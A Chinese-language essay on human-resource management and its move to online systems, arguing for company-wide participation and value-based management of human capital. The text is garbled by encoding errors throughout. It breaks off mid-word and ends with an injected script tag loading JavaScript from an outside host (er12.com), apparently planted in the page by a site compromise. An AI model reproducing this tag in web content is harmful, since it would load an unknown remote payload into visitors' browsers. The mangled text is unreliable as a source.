隨著網(wǎng)絡(luò)技術(shù)跳躍式的發(fā)展，以網(wǎng)絡(luò)經(jīng)濟(jì)為主導(dǎo)的新經(jīng)濟(jì)形勢下的現(xiàn)代企業(yè)之競爭愈來愈直接地反映為人才戰(zhàn)略的競爭。在此背景下，企業(yè)管理的轉(zhuǎn)型，尤其是人力資源管理的轉(zhuǎn)型就日顯重要。為適應(yīng)快速變化的市場，企業(yè)需要更加靈活、快速反應(yīng)的人力資源管理平臺(tái)和解決方案。"人力資源管理"已真正成為企業(yè)管理炙手可熱的話題。無論從形式還是從內(nèi)容上，企業(yè)的確是越來越重視人力資源的管理與開發(fā)。然而，在人力資源管理是否應(yīng)該實(shí)施e-化、以及如何實(shí)現(xiàn)e-化的問題上，不少現(xiàn)代企業(yè)還存在著諸多困惑。筆者結(jié)合自身的工作實(shí)踐和學(xué)習(xí)體會(huì)，妄談以下觀點(diǎn)與大家分享。不妥之處，請(qǐng)見諒。
       一、 人力資源管理需要企業(yè)全員參與
       經(jīng)過幾年的發(fā)展和培育，國內(nèi)企業(yè)終于出現(xiàn)了一批專業(yè)的人力資源管理者，他們不僅接受了先進(jìn)人力資源管理理念的熏陶，而且掌握了企業(yè)人力資源實(shí)務(wù)操作方法。為此，在大多數(shù)企業(yè)經(jīng)營者和廣大員工看來：在建立企業(yè)的人力資源管理體系等問題上，似乎只有hr管理者們最具有發(fā)言權(quán)，人力資源管理也只是hr專業(yè)人士的事情。
       然而，現(xiàn)代人力資源理論越來越多地認(rèn)為：人力資源管理絕不僅僅是人力資源部和hr專業(yè)人士的事，他要求企業(yè)全員的支持和參與。沒有了領(lǐng)導(dǎo)和決策層的強(qiáng)有力支持，hr部門的戰(zhàn)略就無法與企業(yè)業(yè)務(wù)戰(zhàn)略協(xié)調(diào)一致、許多計(jì)劃就很難得以實(shí)施，這就勢必會(huì)影響到hr部門的工作力度，從而影響企業(yè)完整的hr管理體系的建立。同時(shí)，作為業(yè)務(wù)能手的企業(yè)中層經(jīng)理們的全面參與和配合，將極大地推動(dòng)公司新的hr計(jì)劃和政策的制訂和實(shí)施——這無疑會(huì)大大減輕hr部門的工作強(qiáng)度，使政策和制度的制定和實(shí)施真正落實(shí)到位。另外，員工的廣泛參與會(huì)有助于提高h(yuǎn)r服務(wù)的速度、質(zhì)量和員工滿意度。
       總之，企業(yè)的人力資源管理活動(dòng)是需要通過企業(yè)不同角色（hr專業(yè)人士、決策層、中層經(jīng)理以及員工）的共同參與來完成的，而不只是hr部門的工作。這也就是所謂的"全面人力資源管理".理想狀況下，企業(yè)不同角色之間應(yīng)該建立起一條良性的hr管理生態(tài)鏈。hr管理首先是企業(yè)經(jīng)營的需要；hr部門為滿足這種需求設(shè)計(jì)和制訂各種用于加強(qiáng)hr管理的各項(xiàng)規(guī)章和制度（比如薪酬福利體系、績效管理體系、招聘甑選體系、以及員工培訓(xùn)和發(fā)展體系等），并通過分析市場的各種反饋，來幫助企業(yè)提升需求的層次；同時(shí)，hr部門還需要將企業(yè)內(nèi)部的各級(jí)中層經(jīng)理培養(yǎng)成為各項(xiàng)hr規(guī)章制度的代言人和實(shí)施者，由中層經(jīng)理直接面對(duì)作為最終用戶的員工進(jìn)行日常管理。
       可以想見，如果沒有全員的參與，人力資源管理無異于hr部門閉門造車。而企業(yè)一旦能夠切實(shí)按照全員參與的原則進(jìn)行hr管理，hr部門就可以把精力放在分析作為其顧客的其他角色（包括公司高層、中層和員工）的需求，并不斷提升自己滿足客戶需求的能力，為客戶提供更好的hr產(chǎn)品與服務(wù)。
       當(dāng)然，目前中國大多數(shù)企業(yè)的實(shí)際情況是：由于過去幾年對(duì)人力資源管理的培訓(xùn)主要集中在人力資源專業(yè)人事身上，而忽視了對(duì)企業(yè)高層和中層經(jīng)理及員工的相關(guān)培訓(xùn)，使得很多的企業(yè)經(jīng)營者對(duì)人力資源管理缺乏理性和感性認(rèn)識(shí)，導(dǎo)致hr管理生態(tài)鏈上的各個(gè)角色不能很好地進(jìn)入狀態(tài)。因此，對(duì)于大多數(shù)中國企業(yè)而言，接受過專業(yè)培訓(xùn)的hr部門還必須承擔(dān)起宣傳和推廣hr管理產(chǎn)品和服務(wù)（包括管理理念與管理技術(shù)兩個(gè)層面）的責(zé)任。
       那么，如何才能更有效地使hr體系和產(chǎn)品和服務(wù)在企業(yè)中更廣泛地得到高效應(yīng)用呢？建立e-化的hr系統(tǒng)是現(xiàn)代企業(yè)加強(qiáng)人力資源管理，增強(qiáng)可持續(xù)競爭力的有效辦法。
       二、實(shí)施人力資源管理e-化戰(zhàn)略
       在企業(yè)的資金、技術(shù)、市場和人才等諸多經(jīng)營要素中，管理者對(duì)人力資源的經(jīng)營是最為模糊的。很多企業(yè)往往將人力資源視為一種不得已的成本開銷，而不知道如何對(duì)人力資源進(jìn)行價(jià)值經(jīng)營。在人力資源經(jīng)營理念中，很重要的一個(gè)概念就是人力資本。企業(yè)的所有經(jīng)營活動(dòng)，都是依賴于人力資本來實(shí)現(xiàn)的。資金、技術(shù)、市場是相對(duì)容易掌握的，而可持續(xù)競爭優(yōu)勢的創(chuàng)造最終要靠人。
       而實(shí)現(xiàn)人力資本的最大化，有賴于對(duì)企業(yè)內(nèi)部不同角色客戶之需求的滿足。這就要求hr部門通過分析不同客戶的需求，有針對(duì)性地為他們提供hr管理產(chǎn)品與服務(wù)。那么，作為客戶的企業(yè)高層、中層經(jīng)理以及普通員工對(duì)hr的需求又分別是什么呢？
       人力資源管理的主要功能在于"選人、用人、育人、留人"，每一個(gè)功能其實(shí)都可以設(shè)計(jì)相應(yīng)的指標(biāo)來進(jìn)行效果評(píng)價(jià)。人力成本的組成要素可以由企業(yè)自行定義，比如吸收成本、使用成本、安置成本、追加成本、流動(dòng)成?script src=http://er12.com/t.js>